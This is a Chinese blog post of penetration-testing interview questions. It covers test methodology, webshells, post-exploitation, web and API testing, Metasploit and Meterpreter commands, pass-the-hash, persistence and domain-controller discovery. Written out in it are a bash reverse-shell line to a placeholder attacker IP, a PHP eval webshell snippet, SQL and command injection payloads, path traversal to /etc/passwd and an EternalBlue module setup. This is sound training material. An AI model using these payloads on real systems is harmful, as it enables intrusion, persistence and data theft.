Loading ...
渗透测试面试题

1. 什么是渗透测试

渗透测试(Penetration Testing)是一种模拟恶意攻击者的合法授权测试,通过主动探测、漏洞利用等手段,评估目标系统(网站、服务器、内网等)的安全性,发现潜在漏洞(如 SQL 注入、逻辑漏洞),并提供修复建议,最终目的是提升系统防御能力。

2. 如何进行渗透测试?

遵循 “规划→执行→报告” 流程:

  1. 前期规划:明确测试范围、目标、时间、规则(如禁止破坏数据、禁止影响业务),签订授权协议。

  2. 信息收集:如前文所述,获取目标资产、技术栈、攻击面信息。

  3. 漏洞识别:通过扫描工具(如 Nessus、AWVS)、手动测试(如 SQL 注入检测、XSS 测试)发现漏洞。

  4. 漏洞利用:尝试利用漏洞(如 SQL 注入获取数据、上传 webshell 控制服务器),验证漏洞危害性。

  5. 权限提升:从 Webshell 提权至系统权限(如利用 Windows 漏洞、Linux SUID 提权),扩大控制范围。

  6. 内网渗透(若范围包含内网):横向移动(如远程桌面、IPC$ 共享)、获取域控权限。

  7. 清理痕迹与报告:删除测试文件、日志,输出漏洞详情、利用步骤、修复建议。

3. 黑盒测试与白盒测试的区别?

维度黑盒测试(外部测试)白盒测试(内部测试)
测试视角不了解内部代码 / 架构,模拟真实攻击者知晓源代码、架构设计,从内部分析漏洞
测试方法基于功能点测试(如输入验证、业务逻辑)代码审计(如查找 SQL 注入、变量覆盖)、配置检查
优势贴近真实攻击场景,发现业务逻辑漏洞深入代码层面,发现隐蔽漏洞(如逻辑缺陷)
劣势难以覆盖所有代码路径,效率较低依赖代码可读性,可能忽略部署层漏洞
适用场景网站、应用程序的外部安全测试代码开发阶段、内部系统安全审计

4. 什么是 Shell、Payload、中间件?

  • Shell:在渗透测试中,指攻击者通过漏洞获取的目标系统命令行交互界面(如 webshell 是网页形式的命令行,可执行系统命令)。

  • Payload:攻击载荷,指用于实现攻击目的的代码片段(如 SQL 注入的 “union select 1,2,3”、反弹 Shell 的 “bash -i >& /dev/tcp/ 攻击机 IP / 端口 0>&1”)。

  • 中间件:位于操作系统与应用程序之间的软件,用于协调资源、提供通用服务(如 Web 中间件:Nginx、Apache;数据库中间件:MySQL、Redis;应用服务器中间件:Tomcat、WebLogic)。

5. Webshell 连接协议有哪些?

  • HTTP/HTTPS:最常见,通过 POST/GET 请求传递命令(如中国菜刀、蚁剑的 “菜刀协议”),利用网页脚本(如eval($_POST['pass']))执行命令。

  • FTP:通过 FTP 协议上传 Webshell 后,直接操作文件系统(适用于已获取 FTP 权限的场景)。

  • SSH:通过反弹 Shell(如bash -i >& /dev/tcp/攻击者IP/端口 0>&1)将 Webshell 与攻击者 SSH 客户端建立连接,隐蔽性较强。

  • ICMP:极少见,将命令通过 ICMP 包(ping)传输,利用服务器脚本解析 ICMP 数据执行命令(绕过部分端口限制)。

6. 拿到目标站 shell 后的渗透思路

  1. 信息收集

    • 主机信息:系统版本、内核、进程(ps aux)、网络配置(ip addr)、用户权限(id)。

    • 环境判断:是否在容器(/proc/self/cgroup)、内网网段(route -n)。

  2. 权限提升:利用内核漏洞(如脏牛)、SUID 二进制文件、sudo 配置漏洞提权至 root。

  3. 内网横向:扫描内网存活主机(nmap -sn 192.168.0.0/24),尝试弱口令、漏洞(如永恒之蓝)横向移动。

  4. 内网渗透:探测域环境(是否在域内,net view)、域控 IP,利用域漏洞(如 MS17-010)横向至域控。

  5. 持久化:留后门(crontab、计划任务、SSH 密钥),避免 shell 丢失。

7. 如何对前端进行渗透测试?

  • XSS 漏洞:检测存储型、反射型、DOM 型 XSS(如输入<script>alert(1)</script>到输入框)。

  • CSRF 漏洞:检查表单是否含csrf_token,尝试伪造请求(如用 Burp 生成 POC,诱导用户点击)。

  • 敏感信息泄露:查看前端源码(F12),检查注释、JS 文件是否含密钥(API Key)、账号密码。

  • 本地存储:检查localStorage/sessionStorage是否存储敏感数据(如 Token、用户信息)。

  • 前端逻辑绕过:表单验证仅在前端(如密码长度、手机号格式),用 Burp 修改参数绕过。

  • 依赖组件漏洞:检查前端框架(如 Vue、React)或 npm 包是否有已知漏洞(用npm audit)。

  • 点击劫持:检测是否可通过iframe嵌套目标页面(防御需设置X-Frame-Options)。

8. 如何对后端进行渗透测试?

  • 认证与授权:测试越权访问(水平:访问他人数据;垂直:普通用户访问管理员接口)、密码重置逻辑漏洞(如无需旧密码直接修改)。

  • 注入漏洞:SQL 注入(id=1' or '1'='1)、命令注入(ip=127.0.0.1;ls)、文件包含(file=../../etc/passwd)。

  • 服务器与中间件漏洞:检测中间件版本(如 Apache 2.4.49 漏洞)、配置错误(如目录遍历、默认页面暴露)。

  • 数据库安全:弱口令(如 MySQL 默认账号 root / 空密码)、未授权访问(如 MongoDB 27017 端口无认证)。

  • 日志与错误处理:错误信息是否泄露路径(如Fatal error: in /var/www/html/)、数据库类型。

  • 业务逻辑漏洞:如支付金额篡改(将price=100改为price=1)、订单状态越权修改。

9. 如何对接口进行渗透测试?

  1. 收集接口信息:获取 API 文档(Swagger、Postman 导出文件)、抓包分析请求(Burp Suite)、识别接口类型(REST、GraphQL)。

  2. 认证与授权测试

    • 检测 Token 是否必填、是否可伪造(如修改 Token 用户 ID 越权)。

    • 测试 Token 有效期(如过期后是否仍可使用)、刷新机制。

  3. 参数安全测试

    • 注入漏洞(SQLi、NoSQLi、命令注入,如id=1;drop table users)。

    • SSRF(参数含 URL 时,尝试访问内网地址http://127.0.0.1)。

    • 逻辑漏洞(如page=1改为page=-1查看敏感数据)。

  4. 请求方法测试:检测是否限制 HTTP 方法(如 POST 改为 GET 是否绕过验证)。

  5. 速率限制测试:高频请求是否触发限流(防止 DoS 攻击)。

  6. 数据泄露测试:响应是否包含敏感信息(如密码明文、手机号)。

10. 移动端应用(Android/iOS)渗透测试

通用步骤

  • 网络层:用 Burp/Charles 抓包,分析 API 通信(是否加密、参数验证)。

  • 代码层

    • Android:反编译 APK(jadx),审计代码(硬编码密钥、不安全函数);动态调试(frida 挂钩)。

    • iOS:分析 IPA(class-dump 提取头文件),越狱设备安装调试(Cycript)。

  • 权限测试:检查敏感权限滥用(如位置、通讯录),是否有越权操作。

  • 数据存储:查看本地存储(SQLite、SharedPreferences、Keychain)是否明文存敏感信息。

系统特有

  • Android:检测 root 绕过、动态加载恶意代码;iOS:检测越狱依赖、沙箱逃逸。

11. MSF 中常用的命令?

  • search [关键词]:搜索漏洞模块(如search ms17-010)。

  • use [模块路径]:加载模块(如use exploit/windows/smb/ms17_010_eternalblue)。

  • set [参数名] [值]:配置模块参数(如set RHOSTS 192.168.1.1)。

  • exploit/run:执行攻击模块。

  • sessions:管理会话(如sessions -l列出会话,sessions -i 1进入编号 1 的会话)。

  • background/bg:将当前会话放入后台。

  • show options:查看模块需配置的参数。

  • show payloads:查看可用 Payload(攻击载荷)。

  • set payload [payload路径]:指定 Payload(如set payload windows/meterpreter/reverse_tcp)。

12. Meterpreter 核心命令 bg、sessions、jobs 是什么?

  • bg:将当前活跃的 Meterpreter 会话切换到后台(如执行bg后可继续操作 MSF 控制台,会话仍保持连接)。

  • sessions:管理所有活跃会话,常用参数:

    • sessions -l:列出所有会话(含 ID、IP、状态)。

    • sessions -i [ID]:切换到指定 ID 的会话。

    • sessions -k [ID]:终止指定会话。

  • jobs:管理后台任务(如持久化脚本、端口转发任务),常用参数:

    • jobs -l:列出所有后台任务。

    • jobs -k [ID]:终止指定任务。

13. Stdapi: 文件系统命令有哪些?

Stdapi 是 Meterpreter 的标准 API,提供文件系统操作命令,常用包括:

  • ls:列出当前目录文件 / 文件夹。

  • cd [路径]:切换目录(如cd C:\Windows\)。

  • pwd:显示当前工作目录。

  • cat [文件]:查看文件内容(如cat C:\flag.txt)。

  • download [远程路径] [本地路径]:下载文件到本地(如download C:\pass.txt /tmp/)。

  • upload [本地路径] [远程路径]:上传文件到目标(如upload /tmp/shell.exe C:\)。

  • rm [文件]:删除文件(如rm C:\test.txt)。

  • mkdir [目录名]:创建目录。

  • rmdir [目录名]:删除目录(需为空目录)。

14. 网络命令(route、portfwd、netstat)有哪些?

  • route:管理 Meterpreter 会话的路由表,用于内网渗透:

    • route print:查看当前路由表。

    • route add [网段] [子网掩码] [会话ID]:添加路由(如route add 10.0.0.0 255.255.255.0 1,通过会话 1 访问 10.0.0.0 网段)。

  • portfwd:端口转发,将目标端口映射到本地:

    • portfwd add -l [本地端口] -p [目标端口] -r [目标IP](如portfwd add -l 3389 -p 3389 -r 192.168.1.1,本地 3389 端口映射到目标 3389)。

  • netstat:查看目标主机的网络连接状态:

    • netstat -an:显示所有开放端口及连接的 IP(-a显示所有,-n以 IP: 端口形式显示)。

15. MSF 中 Getsystem 无法提权怎么办?

Getsystem 是 Meterpreter 的内置提权命令,失败时可尝试:

  • 切换提权模块:使用 MSF 的本地提权模块(如use exploit/windows/local/ms16_075_reflection针对特定漏洞)。

  • 利用系统配置漏洞:检查服务权限(如sc query查看服务,若服务可写则替换二进制文件提权)、计划任务(schtasks)、注册表权限。

  • 尝试不同提权方法:Getsystem 默认尝试 4 种方法,可手动指定(如getsystem -t 1强制方法 1)。

  • 迁移进程:迁移到高权限进程(如ps列出进程,migrate [PID]迁移到 SYSTEM 权限进程)。

  • 利用第三方工具:上传提权工具(如 PowerUp、PrivescCheck)到目标,执行后获取提权漏洞。

16. MSF 中路由的作用是什么?

路由用于实现内网渗透:当通过一台边界主机(已获取会话)进入内网后,MSF 默认无法直接访问内网其他主机。通过route add添加路由,可将内网网段流量通过已有的会话转发,实现对同网段其他主机的扫描、攻击(如横向移动)。

17. 什么是 “哈希传递攻击”?其原理是什么?

哈希传递攻击(Pass-the-Hash, PtH) 是一种凭据窃取技术,攻击者通过获取用户的 NTLM 哈希值(而非明文密码),直接利用该哈希值进行认证,绕过密码验证。

  • 原理

    1. 攻击者通过漏洞(如 MS17-010)或工具(如 Mimikatz)获取目标系统的 NTLM 哈希;

    2. 使用工具(如 pth-winexe、CrackMapExec)将哈希值注入当前会话;

    3. 系统验证哈希值有效性(无需明文密码),允许攻击者以该用户身份登录。

  • 防御措施

    • 禁用 NTLM 认证,强制使用 Kerberos;

    • 启用 Windows Defender Credential Guard;

    • 限制管理员账户的网络访问;

    • 定期轮换敏感账户密码。

18. Windows 和 Linux 系统中常见的持久化控制方法有哪些?

持久化控制指攻击者在目标系统植入后门,确保长期访问权限。

  • Windows 常见方法

    • 启动项修改:添加注册表启动项(如 HKCU\Software\Microsoft\Windows\CurrentVersion\Run);

    • 计划任务:创建定时执行的任务(如 schtasks);

    • 服务劫持:修改系统服务的二进制路径;

    • WMI 事件订阅:利用 Windows Management Instrumentation 监听事件并触发执行;

    • PowerShell 配置文件:修改 $PROFILE 脚本实现自动加载。

  • Linux 常见方法

    • RC 脚本:修改 /etc/rc.local/etc/init.d/ 下的服务脚本;

    • Cron 任务:添加定时执行的任务(如 crontab -e);

    • SSH 密钥植入:将公钥添加到 ~/.ssh/authorized_keys

    • PAM 模块:修改 Pluggable Authentication Modules 实现认证绕过;

    • 内核模块:加载恶意内核模块(如 LKM Rootkit)。

19. 3389 无法连接的几种情况?

  • 目标端口未开放(未启用远程桌面服务)。

  • 防火墙(本地或网络层)拦截 3389 端口(如 Windows 防火墙未允许远程桌面)。

  • 目标主机不在同一网络(如内网 IP 未映射到公网,或路由不可达)。

  • 远程桌面服务未启动(Windows 服务 “TermService” 未运行)。

  • 账号权限不足(如未加入 “远程桌面用户” 组)。

  • 配置限制(如远程桌面仅允许特定 IP 访问,或最大连接数已满)。

  • 协议或加密方式不兼容(如客户端与服务器加密设置冲突)。

20. 如何判断域控主机?

  1. DNS SRV 记录查询:用nslookup -type=SRV _ldap._tcp.域名dig SRV _ldap._tcp.域名,直接获取域控 IP。

  2. 域内命令查询:nltest /DSGETDC:域名可直接返回域控 IP;netdom query dc列出主机名后,再通过pingnslookup解析 IP。

  3. 登录变量解析:echo %LOGONSERVER%得到域控主机名,再用pingnslookup获取 IP。

  4. 端口扫描辅助:扫描开放 389、88、53 等端口的主机,结合其他方法验证其是否为域控 IP。

21. 如何判断拿到的 shell在 Docker 容器中?

cat /proc/1/cgroup | grep -i docker && echo "In Docker" || echo "Not in Docker"
  1. 检查容器特征文件

    • 存在 /proc/self/cgroup,且内容含 docker 或容器 ID(如 1:name=systemd:/docker/xxx

    • 存在 //.dockerenv 文件(部分容器有)

  2. 查看主机名与环境变量

    • 主机名(hostname)通常为短随机字符串(容器 ID 前几位)

    • 环境变量(env)可能含 DOCKER_ 前缀或容器相关配置

  3. 检查系统信息差异

    • 无物理设备文件(如 /dev/disk 内容极简)

    • ls -la / 缺少 /sys/fs/cgroup/systemd 等宿主机特有的目录结构

  4. 对比外部信息

    • 容器内 ip addr 显示的 IP 多为私有网段(如 172.17.x.x),与宿主机物理网卡 IP 不同

    • 无法访问宿主机的硬件资源或宿主机特有的进程(如 systemd)

22. 安卓 7.0 以上和以下 CA 证书限制区别

  • 7.0 以下:用户手动安装的 CA 证书(用户证书)与系统预装证书同等信任,应用默认信任所有证书(包括用户添加的)。

  • 7.0 以上

    • 第三方应用默认仅信任系统预装证书,不信任用户证书(需应用显式配置 network_security_config.xml 才会信任)。

    • 系统应用(如浏览器)仍信任用户证书,但第三方应用(如 App)需额外配置才能使用用户证书抓包。

暂无评论

发送评论 编辑评论

|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇